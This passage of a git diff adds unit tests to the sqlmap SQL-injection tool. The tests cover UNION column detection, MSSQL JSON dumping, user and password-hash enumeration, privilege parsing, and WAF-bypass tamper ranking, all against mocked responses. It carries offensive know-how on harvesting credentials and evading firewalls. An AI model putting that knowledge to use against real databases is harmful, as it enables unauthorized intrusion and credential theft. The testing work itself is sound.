_detect(self, true_count): + # canary: a leaked agent.payload stub (another module patching the shared singleton and + # restoring it by assignment) makes every probe below identical, so the ORDER BY oracle turns + # unusable and this test used to fail as a bare 'None != 25'. Name the cause instead. + self.assertNotIn("payload", agent.__dict__, + "agent.payload is stubbed - a test module leaked it (see _testutils.save_attrs)") + + def oracle(payload=None, place=None, content=False, raise404=True, **kwargs): + m = re.search(r"ORDER BY (\d+)", payload or "") + cols = int(m.group(1)) if m else 1 + if cols <= true_count: + page = VALID_PAGE + else: + page = "Unknown column '%d' in 'order clause'" % cols + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + ut.Request.queryPage = staticmethod(oracle) + kb.orderByColumns = None + return ut._findUnionCharCount("-- -", PLACE.GET, "id", "1", "", "", PAYLOAD.WHERE.ORIGINAL) + + def test_detect_single_column(self): + self.assertEqual(self._detect(1), 1) + + def test_detect_small(self): + self.assertEqual(self._detect(3), 3) + + def test_detect_medium(self): + self.assertEqual(self._detect(7), 7) + + def test_detect_larger(self): + self.assertEqual(self._detect(12), 12) + + def test_detect_beyond_first_step(self): + # > ORDER_BY_STEP (10): forces the expand-then-bisect branch + self.assertEqual(self._detect(25), 25) + + +class TestMssqlJsonAggFalsyValues(unittest.TestCase): + """Regression: MSSQL UNION dumps use FOR JSON (jsonAggMode), whose output carries native JSON + types. A real 0 / '' / false is a value; only JSON null is SQL NULL. The old `row.get(field) or + NULL` mapped every falsy value to the literal string 'NULL' - proven live (SELECT 0,'','ok' + dumped as NULL,NULL,ok). We drive the REAL _oneShotUnionUse against a mock FOR JSON page.""" + + def setUp(self): + self._s = { + "hexConvert": conf.get("hexConvert"), "parameters": conf.get("parameters"), + "paramDict": conf.get("paramDict"), "base64Parameter": conf.get("base64Parameter"), + "pageEncoding": conf.get("pageEncoding"), "hashDB": conf.get("hashDB"), + "inj": (kb.injection.place, kb.injection.parameter, kb.injection.data), + "jsonAggMode": kb.get("jsonAggMode"), "unionDuplicates": kb.get("unionDuplicates"), + "forcePartialUnion": kb.get("forcePartialUnion"), "tableFrom": kb.get("tableFrom"), + "unionTemplate": kb.get("unionTemplate"), "qp": Connect.queryPage, + } + conf.hexConvert = False + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.base64Parameter = () + conf.pageEncoding = None + conf.hashDB = None + v = AttribDict() + v.vector = (0, 4, "", "", "", "NULL", PAYLOAD.WHERE.NEGATIVE, False, False, None, None) + kb.injection.place = PLACE.GET + kb.injection.parameter = "id" + kb.injection.data = {PAYLOAD.TECHNIQUE.UNION: v} + kb.jsonAggMode = True + kb.unionDuplicates = kb.forcePartialUnion = False + kb.tableFrom = kb.unionTemplate = None + set_dbms("MSSQL") + + def tearDown(self): + conf.hexConvert = self._s["hexConvert"] + conf.parameters = self._s["parameters"] + conf.paramDict = self._s["paramDict"] + conf.base64Parameter = self._s["base64Parameter"] + conf.pageEncoding = self._s["pageEncoding"] + conf.hashDB = self._s["hashDB"] + kb.injection.place, kb.injection.parameter, kb.injection.data = self._s["inj"] + kb.jsonAggMode = self._s["jsonAggMode"] + kb.unionDuplicates = self._s["unionDuplicates"] + kb.forcePartialUnion = self._s["forcePartialUnion"] + kb.tableFrom = self._s["tableFrom"] + kb.unionTemplate = self._s["unionTemplate"] + Connect.queryPage = self._s["qp"] + uu.Request.queryPage = self._s["qp"] + + def _dump(self, jsonstr): + # jsonstr is exactly what MSSQL FOR JSON AUTO, INCLUDE_NULL_VALUES emits (literal to keep key + # order stable across py2/py3); object_pairs_hook=OrderedDict preserves that order downstream + page = "%s%s%s" % (kb.chars.start, jsonstr, kb.chars.stop) + + def oracle(payload=None, content=False, raise404=True, **kwargs): + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + kb.jsonAggMode = True + out = uu._oneShotUnionUse("SELECT a,b,c,d FROM users", False) + firstRow = out.replace(kb.chars.start, "").split(kb.chars.stop)[0] + return firstRow.split(kb.chars.delimiter) + + def test_falsy_values_preserved(self): + fields = self._dump('[{"a":0,"b":"","c":"ok","d":null}]') + self.assertEqual(fields, ["0", "", "ok", "NULL"]) # only JSON null -> NULL + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_urls.py b/tests/test_urls.py new file mode 100644 index 00000000000..3d67d17a55a --- /dev/null +++ b/tests/test_urls.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +URL encode/decode round-trips, parameter parsing, same-host checks. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import urldecode, urlencode, paramToDict, checkSameHost +from lib.core.enums import PLACE + +RND = random.Random(11) + + +class TestUrlCoding(unittest.TestCase): + def test_known(self): + self.assertEqual(urldecode("a%20b"), u"a b") + self.assertEqual(urlencode("a b&c"), "a%20b&c") + + def test_encode_is_not_identity(self): + # anchor so the round-trip property below can't pass with no-op functions: + # special chars MUST be percent-encoded + encoded = urlencode("a b&c=d", safe="") + self.assertNotIn(" ", encoded) + self.assertNotIn("&", encoded) + self.assertEqual(encoded, "a%20b%26c%3Dd") + + def test_roundtrip_property(self): + import string + # NOTE: urldecode() by default preserves URL-structural chars (?, &, =, +, ;) so a full + # round-trip needs convall=True; '+' still excluded (form-encoding maps it to space). + alphabet = string.ascii_letters + string.digits + " &=?/#@:,'\"" + for _ in range(2000): + s = "".join(RND.choice(alphabet) for _ in range(RND.randint(0, 25))) + roundtripped = urldecode(urlencode(s, safe=""), convall=True) + self.assertEqual(roundtripped, s, msg="roundtrip %r" % s) + + +class TestParamToDict(unittest.TestCase): + def test_get(self): + d = paramToDict(PLACE.GET, "a=1&b=2&c=3") + self.assertEqual(d.get("a"), "1") + self.assertEqual(d.get("b"), "2") + self.assertEqual(d.get("c"), "3") + + def test_get_single(self): + d = paramToDict(PLACE.GET, "id=42") + self.assertEqual(d.get("id"), "42") + + +class TestSameHost(unittest.TestCase): + def test_same(self): + self.assertTrue(checkSameHost("http://h/a", "http://h/b")) + self.assertTrue(checkSameHost("http://h:80/a", "http://h:80/b")) + + def test_www_prefix_is_same(self): + # documented behavior: a leading www. is normalized away + self.assertTrue(checkSameHost("http://example.com/a", "http://www.example.com/b")) + + def test_different_host_is_false(self): + # discriminating: an always-True implementation must fail here + self.assertFalse(checkSameHost("http://h/a", "http://other/b")) + self.assertFalse(checkSameHost("http://example.com/a", "http://evil.com/b")) + + def test_one_none_is_false(self): + self.assertFalse(checkSameHost("http://h/a", None)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_users_enum.py b/tests/test_users_enum.py new file mode 100644 index 00000000000..8191161f641 --- /dev/null +++ b/tests/test_users_enum.py @@ -0,0 +1,511 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the enumeration methods of plugins/generic/users.py. + +The injection layer (lib.request.inject.getValue) is mocked so the methods can +be exercised against canned result rows without a live target, network, or DBMS. +Each test sets conf.direct = True to drive the inband (union/error/query OR +conf.direct) branch of the method under test, patches inject.getValue with rows +matching the shape the method parses, then asserts the relevant kb.data.cached* +container was populated. Inference (blind) branches set conf.direct = False with a +BOOLEAN technique present and follow the count-then-per-index contract. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.users as umod +from plugins.generic.users import Users +from lib.core.settings import CURRENT_USER + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class TestUsersEnum(unittest.TestCase): + def setUp(self): + # Snapshot the global state these tests mutate so tearDown can restore it + # exactly (other test files share conf / kb / the inject module). + self._direct = conf.direct + self._user = conf.user + self._gv = umod.inject.getValue + self._cbe = umod.inject.checkBooleanExpression + self._store = umod.storeHashesToFile + self._attack = umod.attackCachedUsersPasswords + self._readInput = umod.readInput + self._his = kb.data.get("has_information_schema") + + set_dbms("MySQL") + conf.direct = True + conf.user = None + kb.data.has_information_schema = True + + # Neutralize the side effects getPasswordHashes triggers once it has + # populated the cache (file write + interactive dictionary attack prompt). + umod.storeHashesToFile = lambda *a, **k: None + umod.attackCachedUsersPasswords = lambda *a, **k: None + umod.readInput = lambda *a, **k: "N" + + def tearDown(self): + conf.direct = self._direct + conf.user = self._user + umod.inject.getValue = self._gv + umod.inject.checkBooleanExpression = self._cbe + umod.storeHashesToFile = self._store + umod.attackCachedUsersPasswords = self._attack + umod.readInput = self._readInput + if self._his is None: + kb.data.pop("has_information_schema", None) + else: + kb.data.has_information_schema = self._his + + # --- getUsers ----------------------------------------------------------- + + def test_get_users_mysql(self): + umod.inject.getValue = lambda query, *a, **k: [["root"], ["guest"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("root", res) + self.assertIn("guest", res) + self.assertIn("root", kb.data.cachedUsers) + + def test_get_users_postgresql(self): + set_dbms("PostgreSQL") + umod.inject.getValue = lambda query, *a, **k: [["postgres"], ["app"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertEqual(sorted(res), ["app", "postgres"]) + + def test_get_users_mssql(self): + set_dbms("Microsoft SQL Server") + umod.inject.getValue = lambda query, *a, **k: [["sa"], ["dbo"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("sa", res) + + def test_get_users_oracle(self): + set_dbms("Oracle") + umod.inject.getValue = lambda query, *a, **k: [["SYS"], ["SYSTEM"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("SYS", res) + + def test_get_users_none_leaves_cache_empty(self): + # isNoneValue([]) -> cache stays empty; inband branch skips appends. + # Strengthen: prove getUsers actually QUERIED (no stale-cache short-circuit + # returning the constant []) by spying on getValue, then in the same test + # re-run with a non-empty result to prove the cache repopulates from the + # newly fetched rows. + calls = {"n": 0} + + def gv_empty(query, *a, **k): + calls["n"] += 1 + return [] + + umod.inject.getValue = gv_empty + users = Users() + kb.data.cachedUsers = [] + res = users.getUsers() + self.assertEqual(res, []) + # The inband branch must have issued at least one query, not short-circuited. + self.assertGreaterEqual(calls["n"], 1) + + # Paired non-empty case: same instance, fresh cache, real rows -> cache + # must repopulate with exactly those users. + umod.inject.getValue = lambda query, *a, **k: [["root"], ["guest"]] + kb.data.cachedUsers = [] + res2 = users.getUsers() + self.assertEqual(sorted(res2), ["guest", "root"]) + self.assertIn("root", kb.data.cachedUsers) + + # --- getCurrentUser ----------------------------------------------------- + + def test_get_current_user(self): + umod.inject.getValue = lambda query, *a, **k: "root@localhost" + users = Users() + kb.data.currentUser = "" + self.assertEqual(users.getCurrentUser(), "root@localhost") + self.assertEqual(kb.data.currentUser, "root@localhost") + + # --- isDba -------------------------------------------------------------- + + def test_is_dba_mysql(self): + umod.inject.getValue = lambda query, *a, **k: "root@localhost" + users = Users() + kb.data.currentUser = "" + # drive the oracle BOTH ways so a constant-True stub can't force the result + umod.inject.checkBooleanExpression = lambda query, *a, **k: True + kb.data.isDba = None + self.assertTrue(users.isDba()) + umod.inject.checkBooleanExpression = lambda query, *a, **k: False + kb.data.isDba = None + self.assertFalse(users.isDba()) + + def test_is_dba_postgresql_false(self): + set_dbms("PostgreSQL") + umod.inject.checkBooleanExpression = lambda query, *a, **k: False + users = Users() + kb.data.isDba = None + self.assertFalse(users.isDba()) + + # --- getPasswordHashes -------------------------------------------------- + + def test_get_password_hashes_mysql(self): + # filterPairValues keeps length-2 rows -> {user: [hash]} + umod.inject.getValue = lambda query, *a, **k: [["root", "*ABC123"], ["guest", "*DEF456"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + self.assertIn("guest", res) + self.assertEqual(res["root"], ["*ABC123"]) + + def test_get_password_hashes_with_conf_user(self): + conf.user = "root@localhost" + umod.inject.getValue = lambda query, *a, **k: [["root", "*HASH"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + + def test_get_password_hashes_oracle(self): + set_dbms("Oracle") + conf.user = "system" + umod.inject.getValue = lambda query, *a, **k: [["SYSTEM", "ABCDEF1234567890"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("SYSTEM", res) + # conf.user upper-cased for Oracle + self.assertEqual(conf.user, "SYSTEM") + + def test_get_password_hashes_current_user(self): + conf.user = CURRENT_USER + # First getValue resolves current user, subsequent ones return the rows. + def gv(query, *a, **k): + if "CURRENT_USER" in query.upper() or "current_user" in query: + return "root@localhost" + return [["root", "*HASH"]] + umod.inject.getValue = gv + users = Users() + kb.data.currentUser = "" + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + + # --- getPrivileges ------------------------------------------------------ + + def test_get_privileges_mysql(self): + # MySQL with information_schema: privilege column added verbatim. + umod.inject.getValue = lambda query, *a, **k: [["root", "SUPER"], ["guest", "SELECT"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("root", privileges) + self.assertIn("SUPER", privileges["root"]) + self.assertIn("root", areAdmins) + self.assertNotIn("guest", areAdmins) + + def test_get_privileges_postgresql(self): + set_dbms("PostgreSQL") + from lib.core.dicts import PGSQL_PRIVS + # PGSQL: digit columns map to PGSQL_PRIVS by column index; col 1 == True. + idx = sorted(PGSQL_PRIVS.keys())[0] + row = ["pguser"] + ["0"] * (max(PGSQL_PRIVS.keys())) + row[idx] = "1" + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("pguser", privileges) + self.assertIn(PGSQL_PRIVS[idx], privileges["pguser"]) + + def test_get_privileges_oracle(self): + set_dbms("Oracle") + umod.inject.getValue = lambda query, *a, **k: [["SYS", "DBA"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("SYS", privileges) + self.assertIn("DBA", privileges["SYS"]) + self.assertIn("SYS", areAdmins) + + def test_get_privileges_with_conf_user(self): + conf.user = "root" + umod.inject.getValue = lambda query, *a, **k: [["root", "SELECT"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("root", privileges) + + def test_get_privileges_cache_guard_under_direct(self): + # Regression: the inband guard must short-circuit when the cache is already + # populated, even under conf.direct. A precedence bug ('not cached and any(...) + # or conf.direct') once made the trailing 'or conf.direct' override the guard, + # so a second getPrivileges() (e.g. --privileges then --roles under -d) re-ran + # the whole enumeration. Assert the second call issues zero injection queries. + calls = {"n": 0} + + def counting_gv(query, *a, **k): + calls["n"] += 1 + return [["root", "SUPER"], ["guest", "SELECT"]] + + umod.inject.getValue = counting_gv + users = Users() + kb.data.cachedUsersPrivileges = {} + users.getPrivileges() + first = calls["n"] + self.assertGreater(first, 0) + users.getPrivileges() + self.assertEqual(calls["n"] - first, 0, "populated cache must suppress re-enumeration under --direct") + + # --- getRoles (delegates to getPrivileges) ------------------------------ + + def test_get_roles(self): + umod.inject.getValue = lambda query, *a, **k: [["root", "SUPER"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getRoles() + self.assertIn("root", privileges) + self.assertIn("root", areAdmins) + + +# --------------------------------------------------------------------------- # +# Privilege parsing / inference branches (relocated from test_generic_enum_more.py) +# --------------------------------------------------------------------------- # + +class _UsersBase(unittest.TestCase): + def setUp(self): + self._direct = conf.direct + self._technique = conf.technique + self._user = conf.user + self._gv = umod.inject.getValue + self._cbe = umod.inject.checkBooleanExpression + self._store = umod.storeHashesToFile + self._attack = umod.attackCachedUsersPasswords + self._readInput = umod.readInput + self._his = kb.data.get("has_information_schema") + self._injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = True + conf.user = None + kb.data.has_information_schema = True + + umod.storeHashesToFile = lambda *a, **k: None + umod.attackCachedUsersPasswords = lambda *a, **k: None + umod.readInput = lambda *a, **k: "N" + + def tearDown(self): + conf.direct = self._direct + conf.technique = self._technique + conf.user = self._user + umod.inject.getValue = self._gv + umod.inject.checkBooleanExpression = self._cbe + umod.storeHashesToFile = self._store + umod.attackCachedUsersPasswords = self._attack + umod.readInput = self._readInput + kb.injection.data = self._injection_data + if self._his is None: + kb.data.pop("has_information_schema", None) + else: + kb.data.has_information_schema = self._his + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestUsersPrivilegesInband(_UsersBase): + def test_privileges_pgsql_multiple_digit_columns(self): + # PostgreSQL: privilege columns are digit flags; a column index maps to + # PGSQL_PRIVS only when its value is "1". Set createdb(1)=1 and super(2)=1, + # leave the rest 0; assert exactly those two privileges are parsed and that + # "super" makes the user an admin. + set_dbms("PostgreSQL") + from lib.core.dicts import PGSQL_PRIVS + ncols = max(PGSQL_PRIVS.keys()) + row = ["pguser"] + ["0"] * ncols + row[1] = "1" # createdb + row[2] = "1" # super + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["pguser"]), {PGSQL_PRIVS[1], PGSQL_PRIVS[2]}) + self.assertIn("pguser", areAdmins) + + def test_privileges_mysql_lt5_yn_flags(self): + # MySQL < 5 (no information_schema): privilege columns are 'Y'/'N' flags + # mapped to MYSQL_PRIVS by column position. Y in col 1 -> select_priv. + set_dbms("MySQL") + from lib.core.dicts import MYSQL_PRIVS + kb.data.has_information_schema = False + ncols = max(MYSQL_PRIVS.keys()) + row = ["root"] + ["N"] * ncols + row[1] = "Y" # select_priv + row[3] = "Y" # update_priv + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn(MYSQL_PRIVS[1], privileges["root"]) + self.assertIn(MYSQL_PRIVS[3], privileges["root"]) + self.assertNotIn(MYSQL_PRIVS[2], privileges["root"]) + + def test_privileges_firebird_letter_codes(self): + # Firebird: each privilege is a single letter mapped via FIREBIRD_PRIVS. + set_dbms("Firebird") + from lib.core.dicts import FIREBIRD_PRIVS + umod.inject.getValue = lambda query, *a, **k: [["fbuser", "S"], ["fbuser", "I"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["fbuser"]), + {FIREBIRD_PRIVS["S"], FIREBIRD_PRIVS["I"]}) + + def test_privileges_db2_grant_codes(self): + # DB2: privilege string is ","; each 'Y'/'G' letter at + # position i appends the DB2_PRIVS[i] name to the privilege. + set_dbms("DB2") + from lib.core.dicts import DB2_PRIVS + conf.user = "db2admin" + # "DBADM" plus a grant string whose first letter (position 1) is 'Y' -> + # DB2_PRIVS[1] ("CONTROLAUTH") is appended. + umod.inject.getValue = lambda query, *a, **k: [["DB2ADMIN", "DBADM,Y"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + joined = " ".join(privileges["DB2ADMIN"]) + self.assertIn("DBADM", joined) + self.assertIn(DB2_PRIVS[1], joined) + + +class TestUsersPrivilegesInference(_UsersBase): + def test_privileges_inference_mysql(self): + # Blind privilege enumeration for a named user: count, then one privilege + # string per index. MySQL >= 5 adds each verbatim. + set_dbms("MySQL") + self._inference() + conf.user = "root" + privs = ["SELECT", "SUPER"] + umod.inject.getValue = _inference_gv(2, privs) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + # the user key is wildcard-wrapped for the MySQL information_schema LIKE + key = [k for k in privileges if "root" in k][0] + self.assertEqual(set(privileges[key]), {"SELECT", "SUPER"}) + self.assertTrue(areAdmins) # SUPER => admin + + def test_privileges_inference_oracle(self): + set_dbms("Oracle") + self._inference() + conf.user = "system" + umod.inject.getValue = _inference_gv(1, ["DBA"]) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("SYSTEM", privileges) + self.assertEqual(privileges["SYSTEM"], ["DBA"]) + self.assertIn("SYSTEM", areAdmins) + + +class TestUsersPasswordHashesInference(_UsersBase): + def test_password_hashes_inference_grouping(self): + # Blind password-hash enumeration for two users: per-user count, then one + # hash per index. Assert each user maps to its own hash list. + set_dbms("MySQL") + self._inference() + conf.user = "root,guest" + + # per-user single hash; count is 1 for every user + hashes = {"root": "*ROOTHASH", "guest": "*GUESTHASH"} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "1" + for u, h in hashes.items(): + if u in query: + return [h] + return [None] + + umod.inject.getValue = gv + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*ROOTHASH"]) + self.assertEqual(res["guest"], ["*GUESTHASH"]) + + def test_password_hashes_inference_dedup(self): + # The same hash returned twice for a user must be de-duplicated at the end + # (kb.data.cachedUsersPasswords[user] = list(set(...))). + set_dbms("MySQL") + self._inference() + conf.user = "root" + umod.inject.getValue = _inference_gv(2, ["*DUP", "*DUP"]) + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*DUP"]) + + +class TestUsersGetUsersInference(_UsersBase): + def test_get_users_inference(self): + set_dbms("MySQL") + self._inference() + umod.inject.getValue = _inference_gv(2, ["root@localhost", "guest@%"]) + users = Users() + kb.data.cachedUsers = [] + res = users.getUsers() + self.assertEqual(sorted(res), ["guest@%", "root@localhost"]) + + def test_is_dba_mssql(self): + # MSSQL isDba goes through the generic checkBooleanExpression branch; drive the oracle + # BOTH ways so a constant-True stub can't force the result + set_dbms("Microsoft SQL Server") + users = Users() + umod.inject.checkBooleanExpression = lambda query, *a, **k: True + kb.data.isDba = None + self.assertTrue(users.isDba()) + umod.inject.checkBooleanExpression = lambda query, *a, **k: False + kb.data.isDba = None + self.assertFalse(users.isDba()) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_utils.py b/tests/test_utils.py new file mode 100644 index 00000000000..b710169bcdc --- /dev/null +++ b/tests/test_utils.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core utility helpers: constant-time compare, numeric checks, safe formatting, +list/value normalization, randomness generators. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (safeCompareStrings, isDigit, isNumber, safeStringFormat, + filterNone, flattenValue, isListLike, unArrayizeValue, + arrayizeValue, randomStr, randomInt) + + +class TestSafeCompareStrings(unittest.TestCase): + def test_known(self): + self.assertTrue(safeCompareStrings("abc", "abc")) + self.assertFalse(safeCompareStrings("abc", "abd")) + self.assertFalse(safeCompareStrings("test", None)) + self.assertTrue(safeCompareStrings(None, None)) + self.assertFalse(safeCompareStrings("a", "ab")) # different length + + def test_property(self): + for s in ["", "a", "secret", "p@ss w0rd", "x" * 100]: + self.assertTrue(safeCompareStrings(s, s)) + self.assertFalse(safeCompareStrings(s, s + "x")) + + +class TestNumericChecks(unittest.TestCase): + def test_isDigit(self): + for v, exp in [("123", True), ("0", True), ("12a", False), ("", False), ("-1", False)]: + self.assertEqual(bool(isDigit(v)), exp, msg="isDigit(%r)" % v) + + def test_isNumber(self): + for v, exp in [("123", True), ("1.5", True), ("1e3", True), ("abc", False), ("", False)]: + self.assertEqual(bool(isNumber(v)), exp, msg="isNumber(%r)" % v) + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic(self): + self.assertEqual(safeStringFormat("%s-%d", ("a", 5)), "a-5") + self.assertEqual(safeStringFormat("%s/%s", ("x", "y")), "x/y") + + def test_survives_percent_in_value(self): + # the WHOLE point of safeStringFormat over plain `%`: a '%' inside an argument (common in + # payloads/URL-encoded values) must not blow up or be misread as a format spec. + # Plain "x=%s" % ("100%done",) would raise on re-evaluation; safeStringFormat must not. + self.assertEqual(safeStringFormat("x=%s", ("100%done",)), "x=100%done") + + +class TestListValueHelpers(unittest.TestCase): + def test_filterNone(self): + self.assertEqual(filterNone([1, None, 2, 0, "", None]), [1, 2, 0]) + self.assertEqual(filterNone([]), []) + self.assertEqual(filterNone([None, None]), []) + + def test_flattenValue(self): + self.assertEqual(list(flattenValue([[1, 2], [3, [4]]])), [1, 2, 3, 4]) + self.assertEqual(list(flattenValue([])), []) + self.assertEqual(list(flattenValue([1])), [1]) + + def test_isListLike(self): + from lib.core.datatype import OrderedSet + from lib.core.bigarray import BigArray + # isListLike is sqlmap-specific: it must recognize sqlmap's own list-like containers + # (OrderedSet, BigArray), not just builtin list/tuple - that's why it's not isinstance(list) + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(OrderedSet([1, 2]))) + self.assertTrue(isListLike(BigArray([1]))) + # and must reject str (the classic trap) and dict + self.assertFalse(isListLike("string")) + self.assertFalse(isListLike({"a": 1})) + + def test_arrayize_roundtrip(self): + self.assertEqual(unArrayizeValue([5]), 5) + self.assertIsNone(unArrayizeValue([])) + self.assertEqual(unArrayizeValue(7), 7) + self.assertEqual(arrayizeValue(5), [5]) + self.assertEqual(arrayizeValue([5]), [5]) + + +class TestRandomGenerators(unittest.TestCase): + def test_randomStr_length_and_alphabet(self): + for n in (1, 4, 16, 50): + self.assertEqual(len(randomStr(n)), n) + for _ in range(200): + self.assertTrue(all("a" <= c <= "z" for c in randomStr(20, lowercase=True))) + alpha = list("ABC") + for _ in range(200): + self.assertTrue(all(c in alpha for c in randomStr(20, alphabet=alpha))) + + def test_randomStr_is_actually_random(self): + # guard against a hardcoded/constant return: 20-char strings must (essentially) never collide + samples = set(randomStr(20) for _ in range(100)) + self.assertEqual(len(samples), 100, msg="randomStr produced collisions - not random?") + + def test_randomInt_digits(self): + for n in (1, 3, 6): + lo, hi = 10 ** (n - 1), 10 ** n + for _ in range(200): + v = randomInt(n) + self.assertEqual(len(str(v)), n) # exactly n digits + self.assertTrue(lo <= v < hi, msg="randomInt(%d)=%d out of [%d,%d)" % (n, v, lo, hi)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_wafbypass.py b/tests/test_wafbypass.py new file mode 100644 index 00000000000..bfdc9cc4da6 --- /dev/null +++ b/tests/test_wafbypass.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +T1 - automatic WAF-bypass tamper selection (lib/utils/wafbypass.py). These cover the pure, +offline pieces: the identYwaf blind-signature decoder (which provocation vectors a known WAF +blocks), the data-ranked / DBMS-filtered / identYwaf-pruned candidate ordering, and the runtime +tamper loader. The end-to-end "adopt a tamper that restores detection" behaviour is exercised by +the --auto-tamper vuln-test case (lib/core/testing.py) against the vulnserver WAF emulator. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.wafbypass import candidateTampers, identYwafBlockedVectors, loadTamper + + +class TestIdentYwafDecoder(unittest.TestCase): + def test_known_waf_decodes_to_blocked_vectors(self): + # cloudflare has bundled blind signatures -> a non-trivial set of blocked vector indices, + # all within range of the 45 provocation vectors + blocked = identYwafBlockedVectors("cloudflare") + self.assertTrue(len(blocked) > 5) + self.assertTrue(all(isinstance(_, int) and 0 <= _ < 45 for _ in blocked)) + + def test_unknown_waf_is_empty(self): + self.assertEqual(identYwafBlockedVectors("definitely-not-a-real-waf"), set()) + self.assertEqual(identYwafBlockedVectors(None), set()) + + +class TestCandidateRanking(unittest.TestCase): + def test_structural_first(self): + cands = candidateTampers() + # the empirically strongest structural substitutions lead, ahead of camouflage. The first + # three are the ones measured to get through a CRS-class ruleset, so they are trialled first + self.assertEqual(cands[:3], ["castprefix", "mid2leftright", "odbcbrace"]) + self.assertLess(cands.index("equaltolike"), cands.index("randomcase")) + self.assertLess(cands.index("between"), cands.index("space2comment")) + + def test_no_dbms_prefiltering(self): + # DBMS compatibility is verified at runtime (detection re-run through the tamper), not here, + # so the full candidate set is offered regardless of any guessed back-end DBMS + cands = candidateTampers() + self.assertIn("versionedkeywords", cands) + self.assertIn("space2hash", cands) + self.assertIn("between", cands) + + def test_identYwaf_prior_prunes_camouflage(self): + # a WAF whose profile blocks comment-obfuscated vectors should have comment-insertion + # camouflage pruned (it cannot help there), while structural candidates survive + base = candidateTampers() + pruned = candidateTampers(identifiedWafs=["cloudflare"]) + self.assertIn("equaltolike", pruned) + self.assertNotIn("space2comment", pruned) + self.assertLessEqual(len(pruned), len(base)) + + +class TestLoadTamper(unittest.TestCase): + def test_loads_and_applies(self): + fn = 